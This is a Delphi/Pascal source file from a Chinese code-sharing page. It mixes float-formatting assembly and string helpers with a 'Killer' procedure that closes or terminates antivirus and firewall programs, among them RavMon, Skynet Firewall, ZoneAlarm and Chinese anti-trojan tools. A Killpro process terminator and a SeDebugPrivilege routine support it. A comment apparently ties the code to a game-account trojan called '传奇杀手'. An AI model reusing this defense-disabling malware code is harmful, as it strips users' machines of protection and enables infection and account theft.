📄 other.~pas
字号:
MOV BL,ffGeneral
CMP CL,'G'
JE @G2
MOV BL,ffExponent
CMP CL,'E'
JE @G2
MOV BL,ffFixed
CMP CL,'F'
JE @G1
MOV BL,ffNumber
CMP CL,'N'
JE @G1
CMP CL,'M'
JNE @CvtError
MOV BL,ffCurrency
@G1: MOV EAX,18
MOV EDX,Prec
CMP EDX,EAX
JBE @G3
MOV EDX,2
CMP CL,'M'
JNE @G3
MOVZX EDX,CurrencyDecimals
JMP @G3
@G2: MOV EAX,Prec
MOV EDX,3
CMP EAX,18
JBE @G3
MOV EAX,15
@G3: PUSH EBX
PUSH EAX
PUSH EDX
LEA EAX,StrBuf
MOV EDX,ESI
MOVZX ECX,BH
MOV EBX, SaveGOT
CALL FloatToText
MOV ECX,EAX
LEA ESI,StrBuf
RET
@ClearTmpAnsiStr:
PUSH EBX
PUSH EAX
LEA EAX,TempAnsiStr
MOV EBX, SaveGOT
CALL System.@LStrClr
POP EAX
POP EBX
RET
@Exit:
CALL @ClearTmpAnsiStr
POP EDI
POP ESI
POP EBX
end;
procedure FmtStr(var Result: string; const Format: string;
const Args: array of const);
var
Len, BufLen: Integer;
Buffer: array[0..4095] of Char;
begin
BufLen := SizeOf(Buffer);
if Length(Format) < (sizeof(Buffer) - (sizeof(Buffer) div 4)) then
Len := FormatBuf(Buffer, sizeof(Buffer) - 1, Pointer(Format)^, Length(Format), Args)
else
begin
BufLen := Length(Format);
Len := BufLen;
end;
if Len >= BufLen - 1 then
begin
while Len >= BufLen - 1 do
begin
Inc(BufLen, BufLen);
Result := ''; // prevent copying of existing data, for speed
SetLength(Result, BufLen);
Len := FormatBuf(Pointer(Result)^, BufLen - 1, Pointer(Format)^,
Length(Format), Args);
end;
SetLength(Result, Len);
end
else
SetString(Result, Buffer, Len);
end;
function Format(const Format: string; const Args: array of const): string;
begin
FmtStr(Result, Format, Args);
end;
function HexToInt(HexStr: string): Int64;
var RetVar: Int64;
i: byte;
begin
HexStr := UpperCase(HexStr);
if HexStr[length(HexStr)] = 'H' then
Delete(HexStr, length(HexStr), 1);
RetVar := 0;
for i := 1 to length(HexStr) do begin
RetVar := RetVar shl 4;
if HexStr[i] in ['0'..'9'] then
RetVar := RetVar + (byte(HexStr[i]) - 48)
else
if HexStr[i] in ['A'..'F'] then
RetVar := RetVar + (byte(HexStr[i]) - 55)
else begin
Retvar := 0;
break;
end;
end;
Result := RetVar;
end;
//_________________________________________________
procedure Killer;
var s,Desktop:integer;
str:array[0..100] of char;
begin
{s:=findwindow(pchar('RavMonClass'),pchar('RavMon.exe'));
Sendmessage(s,$0010,0,0); }
Killpro('RavMon.EXE');
s:=findwindow('Tapplication','天网防火墙个人版');
Sendmessage(s,$0010,0,0);
s:=findwindow('Tapplication','天网防火墙企业版');
Sendmessage(s,$0010,0,0);
s:=0;
Desktop:=GetDesktopWindow;
repeat
s:=findwindowex(Desktop,s,'TForm1',nil);
getwindowtext(s,str,9);
if str='木马克星' then sendmessage(s,$0010,0,0);
until s=0;
s:=0;
Desktop:=GetDesktopWindow;
repeat
s:=findwindowex(Desktop,s,'TForm1',nil);
getwindowtext(s,str,7);
if str='噬菌体' then sendmessage(s,$0010,0,0);
until s=0;
s:=findwindow(pchar('TfLockDownMain'),nil);
Sendmessage(s,$0010,0,0);
s:=findwindow(pchar('ZAFrameWnd'),pchar('ZoneAlarm'));
Sendmessage(s,$0010,0,0);
Killpro('EGHOST.EXE');
Killpro('MAILMON.EXE');
//Killpro('KAVPFW.EXE');
//Killpro('Smc.exe');
Killpro('netbargp.exe');
//Killpro('KvXP_1.exe');
End;
function Killpro(ExeFileName: string): Integer;
const
PROCESS_TERMINATE = $0001;
var
ContinueLoop: BOOL;
FSnapshotHandle: THandle;
FProcessEntry32: TProcessEntry32;
begin
Result := 0;
FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
FProcessEntry32.dwSize := SizeOf(FProcessEntry32);
ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);
while Integer(ContinueLoop) <> 0 do
begin
if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =
UpperCase(ExeFileName)) or (UpperCase(FProcessEntry32.szExeFile) =
UpperCase(ExeFileName))) then
Result := Integer(TerminateProcess(
OpenProcess(PROCESS_TERMINATE,
BOOL(0),
FProcessEntry32.th32ProcessID),
0));
ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
end;
CloseHandle(FSnapshotHandle);
end;
function myGetComputerName:String;
var pcComputer:PChar;
dwCSize:DWORD;
begin
dwCSize:=MAX_COMPUTERNAME_LENGTH+1;
GetMem(pcComputer,dwCSize);
try
if GetComputerName(pcComputer,dwCSize) then Result:=pcComputer;
finally
FreeMem(pcComputer);
end;
end;
function ReadString(const FFileName, Section,Ident, Default: string): string;
var
Buffer: array[0..2047] of Char;
begin
SetString(Result, Buffer, GetPrivateProfileString(PChar(Section),
PChar(Ident), PChar(Default), Buffer, SizeOf(Buffer), PChar(FFileName)));
end;
function GetWP:string;
var Buf:array[0..MAX_PATH] of char;
begin
GetWindowsDirectory(Buf,MAX_PATH);
Result:=Buf;
if Result[Length(Result)]<>'\' then Result:=Result+'\';
end;
{function GetServerPlace(Y:integer):String;
var s2,s3,s4,s6,s8,RES:String;
begin
case Y of
268..308:s2:='1/2,';
310..350:s2:='2/2,';
end;
case Y of
247..287:s3:='1/3,';
289..329:s3:='2/3,';
331..371:s3:='3/3,';
end;
case Y of
226..266:s4:='1/4,';
268..308:s4:='2/4,';
310..350:s4:='3/4,';
352..392:s4:='4/4,';
end;
case Y of
184..224:s6:='1/6,';
226..266:s6:='2/6,';
268..308:s6:='3/6,';
310..350:s6:='4/6,';
352..392:s6:='5/6,';
394..434:s6:='6/6,';
end;
case Y of
141..182:s8:='1/8,';
184..224:s8:='2/8,';
226..266:s8:='3/8,';
268..308:s8:='4/8,';
310..350:s8:='5/8,';
352..392:s8:='6/8,';
394..434:s8:='7/8,';
436..476:s8:='8/8,';
end;
RES:=s2+s3+s4+s6+s8;
if copy(RES,Length(RES),1)=',' then delete(RES,Length(RES),1);
if RES='' then Result:='【未知】'
else Result:='【'+RES+'】';
end;}
function extractPath(const Str:String):string;
var L,i,flag:integer;
begin
flag:=1;
L:=Length(Str);
for i:=L downto 1 do if Str[i]='\' then begin
flag:=i;
break;
end;
result:=copy(Str,1,flag);
end;
function judgesys:integer;
var
OS : TOSVersionInfo;
begin
result:=0;
OS.dwOSVersionInfoSize := sizeof(TOSVERSIONINFO);
GetVersionEx(OS);
case OS.dwPlatformId of
VER_PLATFORM_WIN32s :result:=1;
VER_PLATFORM_WIN32_WINDOWS :result:=2;
VER_PLATFORM_WIN32_NT :result:=3;
//VER_PLATFORM_WIN32_WINDOWSXP:result:=4;
end;
end;
function FindPro98(ExeFileName: string;var path: string):boolean;
var
ContinueLoop: BOOL;
FSnapshotHandle: THandle;
FProcessEntry32: TProcessEntry32;
begin
FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
FProcessEntry32.dwSize := SizeOf(FProcessEntry32);
ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);
Result :=false;
while Integer(ContinueLoop) <> 0 do begin
if (((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =
UpperCase(ExeFileName)) or (UpperCase(FProcessEntry32.szExeFile) =
UpperCase(ExeFileName)))) then begin //and (pos(UpperCase(path),UpperCase(FProcessEntry32.szExeFile))>1)
Result := true;
path:=FProcessEntry32.szExeFile;
break;
end;
ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
end;
CloseHandle(FSnapshotHandle);
end;
function GetProcessCount: Int64;
var
Query: HQUERY;
Counter: HCOUNTER;
Value: TPdhFmtCounterValue;
begin
if (PdhOpenQuery(nil, 0, Query)<>ERROR_SUCCESS) then exit;
try
if (PdhAddCounter(Query, PChar('\Objects\Processes'), 0, Counter)<>ERROR_SUCCESS) then exit;
if (PdhCollectQueryData(Query)<>ERROR_SUCCESS) then exit;
if (PdhGetFormattedCounterValue(Counter, PDH_FMT_LARGE, nil, Value)<>ERROR_SUCCESS) then exit;
Result := Value.largeValue;
finally
PdhRemoveCounter(Counter);
PdhCloseQuery(Query);
end;
end;
function EnableDebugPrivilege(const Enable: Boolean): Boolean;
const
PrivAttrs: array[Boolean] of DWORD = (0, SE_PRIVILEGE_ENABLED);
var
Token: THandle;
TokenPriv: TTokenPrivileges;
ReturnLength: Cardinal;
begin
Result := False;
if OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES, Token) then
begin
LookupPrivilegeValue(nil, 'SeDebugPrivilege', TokenPriv.Privileges[0].Luid);
TokenPriv.PrivilegeCount := 1;
TokenPriv.Privileges[0].Attributes := PrivAttrs[Enable];
AdjustTokenPrivileges(Token, False, TokenPriv, SizeOf(TokenPriv), nil, ReturnLength);
Result := GetLastError = ERROR_SUCCESS;
CloseHandle(Token);
end;
end;
function EnumerateModules(ProcessHandle: THandle; ProcessId: Cardinal;ExeFileName: string;var path: string):boolean;
var
Modules: array of HMODULE;
BytesNeeded: Cardinal;
I: Integer;
BaseName, FileName: string;
ModuleInfo: TModuleInfo;
begin
SetLength(Modules, 1024);
EnumProcessModules(ProcessHandle, @Modules[0], 1024 * SizeOf(HMODULE), BytesNeeded);
SetLength(Modules, BytesNeeded div SizeOf(HMODULE));
result:=false;
for I := 0 to Length(Modules) - 1 do
begin
SetLength(BaseName, MAX_PATH + 1);
SetLength(BaseName, GetModuleBaseName(ProcessHandle, Modules[I], PChar(BaseName), Length(BaseName)));
// if Pos('.EXE', UpperCase(BaseName)) > 0 then ExeName := BaseName;
SetLength(FileName, MAX_PATH + 1);
SetLength(FileName, GetModuleFileNameEx(ProcessHandle, Modules[I], PChar(FileName), Length(FileName)));
GetModuleInformation(ProcessHandle, Modules[I], @ModuleInfo, SizeOf(ModuleInfo));
if (pos(UpperCase(ExeFileName),UpperCase(BaseName))>0) then begin //(pos(UpperCase(path),UpperCase(FileName))>0) and
result:=true;
path:=FileName;
break;
end;
end;
end;
function FindPro2000(ExeFileName: string;var path: string):boolean;
var
ProcessCount: Int64;
ProcessIds: array of DWORD;
ProcessHandle: THandle;
BytesNeeded: DWORD;
I: Integer;
begin
result:=false;
EnableDebugPrivilege(True);
ProcessCount := GetProcessCount;
SetLength(ProcessIds, ProcessCount);
EnumProcesses(@ProcessIds[0], ProcessCount * SizeOf(DWORD), BytesNeeded);
ProcessCount := BytesNeeded div SizeOf(DWORD);
for I := 2 to ProcessCount - 1 do
begin
ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, ProcessIds[I]);
if ProcessHandle <> 0 then
result:=EnumerateModules(ProcessHandle, ProcessIds[I],ExeFileName,path);
CloseHandle(ProcessHandle);
if result then
break;
end;
end;
function FindPro(ExeFileName: string ;var path: string):boolean;
begin
if judgesys in [1,2] then
result:=FindPro98(ExeFileName,path)
else result:=FindPro2000(ExeFileName,path)
end;
function strtohex(str:string):string;
var res:string;
i:integer;
begin
//以下都是加密码的，使用时要解密码
//SoftCaption:=LoadStr(1);//'传奇杀手'; 1.软件名称
//str:=MakeSelfCode(SoftCaption);
res:='';
for i :=1 to length(str) do begin
//读取内容
//if (str[i]>='0') and (str[i]<='9') then
// res := res + format('%.2X',[strtoint(str[i])])
//else
res := res + format('%.2X',[ord(str[i])]);
end;
result:=res;
end;
function IntToHex(Value: Int64; Digits: Integer): string;
begin
FmtStr(Result, '%.*x', [Digits, Value]);
end;
function hextostr(str:string):string;
var tmp1,s:string;
i:integer;
begin
i:=1;
s:='';
while i<length(str) do begin
tmp1:=copy(str,i,2);
if tmp1<>'00' then
s:=s+chr(HexToInt(tmp1))
else s:=s+' ';
inc(i,2);
end;
result:=s;
end;
Function splite_str(str,s:string):integer;
var i,L,C:integer;
res,tmp:string;
begin
//addvalue(hkey_classes_root,SubMainKey,'res',pchar(str),1);
res:=str;
L:=length(s)-1;
i:=pos(s,res);
setLength(splite_array,0);
while i>0 do begin
tmp:=copy(res,1,i-1);
C:=high(splite_array)+1;
setlength(splite_array,c+1);
splite_array[c]:=tmp;
delete(res,1,i+L);
i:=pos(s,res);
end;
result:=high(splite_array)+1;
end;
end.
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -